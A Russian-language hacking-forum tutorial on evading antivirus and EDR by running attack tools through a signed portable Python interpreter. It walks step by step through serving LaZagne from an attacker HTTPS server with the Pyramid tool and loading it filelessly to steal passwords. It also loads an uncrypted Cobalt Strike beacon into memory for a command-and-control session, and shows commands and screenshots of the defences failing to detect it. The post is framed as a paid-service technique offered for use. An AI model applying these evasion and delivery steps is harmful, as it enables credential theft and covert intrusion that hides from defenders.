Обход AV, EDR, XDR

Man

Professional
Messages
3,059
Reaction score
585
Points
113
Теория
Всем привет, эта статья будет про технику обхода антивирусов и EDR с помощью интерпретаторов ЯП (но все не так просто). Некоторые селлеры услуг по обходу edr пользуются этим методом, берут по 5к$ с клиентов, зарабатывая неплохие деньги. Тема актуальная и востребованная, надеюсь кому то поможет в работе)
На роль языка есть несколько кандидатов, это должен быть скриптовый язык со своим подписанным интерпретатором, например подходящие нам: Python, JavaScript, Ruby, F# (позволяет писать скрипты .fsx).

Суть техники заключается в том что edr не может нормально анализировать что там вообще в интерпретаторах происходит, где каша из нескольких уровней абстракции (библиотеки предоставляют высокоуровневые абстракции для системных операций), шума из событий, оптимизаций, динамического связывания, невомзожность четко отслеживать контекст и т.д. Для эврестического анализатора выполнение вредоносного кода не сильно отличается от легального ПО. Поэтому аверские поделия чаще просто ничего не делают, чтобы избежать проблем и ложно-положительных детектов которые бы мешали работе людей и бизнеса. Плюс вся подозрительная телеметрия будет идти от подписанного бинаря, к которым больше доверия (метрики file reputation, trust score и проч, которые учавствуют в решении как расценивать поведение программы). И многое за что бы проактивная система могла стопнуть ноунейм exe билд, позволительно для нашего подписанного легитимного интерпретатора.
Чтобы доказать что техника мощная и рабочая, для тестов я постараюсь взять самые грязные утилиты/билды с максимумом детектов.

В качестве интерпретируемого языка возьмем python (так как под него много чего написано, в том числе легального ПО, и он самый популярный)
С выходом питона 3.5 появилась embedded версия (еще иногда называют standalone, portable) питоновского интерпретатора, которую можно запускать без установки, просто скачав или закинув на диск.
https://www.python.org/ftp/python/3.10.8/python-3.10.8-embed-amd64.zip
Внутри архива Python Embeddable package есть две подписанных .exe:
python.exe - стандартный standalone интерпретатор, который запускается с окном для вывода информации в консоль
и pythonw.exe - тот же интерпретатор, но запускается headless (без видимого для юзера окна)

1.png


У меня для разнообразия тестов несколько виртуалок
windows server 2019 с Kaspersky Endpoint Security (есть триал)
windows 10 ltsc с Microsoft Defender
windows 8 с Symantec Endpoint Protection

Практика и тесты
Качаем архив с интерпритатором на виртуалку с edr и распаковываем. Допустим мы хотим запустить на машине какой нибудь скрипт/тулзу на питоне для пост эксплуатации (у которых скантайм и рантайм детекты), например скрипты из impacket, lazagne, pypykatz (переписанный на питоне mimikatz).
Попробуем скачать и распаковать архив с impacket
Code:
Invoke-WebRequest https://github.com/fortra/impacket/archive/refs/heads/master.zip -OutFile master.zip; Expand-Archive -Path master.zip -DestinationPath . -Force

2.png


Edr при статическом анализе очевидно сразу детектит (уведомляя админа/безопасников) и удаляет опасные файлы, т.к их сигнатуры попадают под банальные правила YARA сканнера.

3.png


Тоже самое с Lazagne, дефендер
Code:
Invoke-WebRequest https://github.com/AlessandroZ/LaZagne/archive/refs/heads/master.zip -OutFile master.zip; Expand-Archive -Path master.zip -DestinationPath . -Force

4.png


Значит пробуем доджить запись на диск и грузить все зависимости сразу в память. Тут можно изобрести велосипед самому, или воспользоваться готовой тулзой под пайтон например pyramid. Там уже есть несколько готовых модулей (спасибо добрым людям) которые могут подгружать тулзы и зависимости для них. Или можно написать свои
Какие есть готовы модули:

5.png


в dependencies их зависимости которые будем загружать в память

6.png


Попробуем запустить LaZagne из памяти, будет показательно, т.к у нее больше всех детектов

7.png


Сначала поднимем http сервер где будем хостить все
Клонируем пирамиду с гита
Code:
git clone https://github.com/naksyn/Pyramid

8.png


Далее cd в директориюPyramid/Server и генерим ssl сертификат, чтобы траффик был зашифрованным от анализа edr
Code:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365

9.png


В папке Server должно появиться два файла key.pem и cert.pem.

Смотрим свой адрес адаптера в локалке

10.png


Составляем команду
Code:
python3 pyramid.py -p 443 -ssl -u testuser -pass 12345 -enc "chacha20" -passenc "12345" -server "192.168.159.128" -generate -setcradle LaZagne.py
-u и -pass это установка кредов для basic auth чтобы никто не смог просто зайти на наш серв и посмотреть что мы хостим
-passenc ставим 12345, дальше его попросит

11.png


Скрипт гененрирует нам пейлоад (зашифрованный в base64 скрипт для бесфайловой доставки) - копируем его
В самом низу просит пасс, вводим наш 12345

12.png


Переключаемся на шиндоус виртуалку с kes, запускаем python.exe с админ правами (lazagne требуется чтобы состилить пароли), и вставляем наш зашифрованный скрипт

13.png


После запуска он подгружает зависимости с нашего http сервера через get запросы (192.164.159.142 это виктим машина с kes)

14.png


Логи kes, красных или оранжевых алертов нет, процесс не убит

15.png


Дефендер, также андетектед

16.png


Против таких приколов с андетектом комьюнити киберсеков было предложенно полурешение - Python Runtime Audit Hooks https://peps.python.org/pep-0578/
Описание от автора:
"The aim of these changes is to enable both application developers andsystem administrators to integrate Python into their existingmonitoring systems without dictating how those systems look or behave.We propose two API changes to enable this: an Audit Hook and VerifiedOpen Hook. Both are available from Python and native code, allowingapplications and frameworks written in pure Python code to takeadvantage of the extra messages, while also allowing embedders orsystem administrators to deploy builds of Python where auditing isalways enabled.Only CPython is bound to provide the native APIs as described here.Other implementations should provide the pure Python APIs, andmay provide native versions as appropriate for their underlyingruntimes. Auditing events are likewise considered implementationspecific, but are bound by normal feature compatibility guarantees.
Hooks are added by calling PySys_AddAuditHook() from C at any time,including before Py_Initialize(), or by callingsys.addaudithook() from Python code. Hooks cannot be removed orreplaced. For CPython, hooks added from C are global, while hooks addedfrom Python are only for the current interpreter. Global hooks areexecuted before interpreter hooks.
When events of interest are occurring, code can either callPySys_Audit() from C (while the GIL is held) or sys.audit(). Thestring argument is the name of the event, and the tuple containsarguments. A given event name should have a fixed schema for arguments,which should be considered a public API (for each x.y version release),and thus should only change between feature releases with updateddocumentation. To minimize overhead and simplify handling in native codehook implementations, named arguments are not supported."

Думаю понятно, предлагают использовать механизм этих хуков всяким поставщикам/провайдера антивирусных решений для рантайм анализа че там вообще происходит при выполнени. Благо эти пока никто не пользуется

Запуск exe/dll из под python
Теперь попробуем какой нибудь C2 фреймворк, я специально возьму незакриптованную stageless кобу (науч. Cobalt Strike) с ее 60 детектами. Просто так дллку кобы на машине с edr нам не запустить. Но существует техника загрузки PE в память, и проект автоматизирующий ее на питоне https://github.com/naksyn/PythonMemoryModule
И его можно использовать в комбинации с нашей техникой.

В кобе оздаем https listener на допустим 8000 порту (443 и 80 заняты нашим сервером с зависимостями)
Создаем windows stageless payload, допустим exe, x64(x86 не запуститься из под x64 питоновского интерпретатора), exit function выбираем thread (если есть возможность, например вы используете другой фреймворк или аддоны, попробуйте fiber https://de-engineer.github.io/Processes-threads-jobs-fibers/#fibers)

17.png


Генерируем и сохраняем в директорию /Server/Delivery_files/ и переменовываем в chisel.exe

18.png


Либо можете в /Server/Modules/pythonmemorymodule.py название на 58 строчке поменять

19.png


Запускаем сервер
Code:
python3 pyramid.py -p 443 -ssl -u testuser -pass 12345 -enc "chacha20" -passenc "12345" -server "192.168.159.128" -generate -setcradle pythonmemorymodule.py

Копируем python пейлоад и вставляем в интерпретатор

Получаем отстук бикона и сессию кобы
Напомню я ничего не криптовал, детектов на билде больше чем у меня было баллов на егэ. А если взять самописный редтим арсенал, или с приватным криптом... у аверов от одной мысли повышается артериальное давление

20.png


Если такой контент вам понравится и соберет несколько лайков, постараюсь выложить похожый гайд по JavaScript и его интерпретаторам для windows, там тоже все очень интересно и большой потенциал для сокрытия от проактивных систем.
 
Top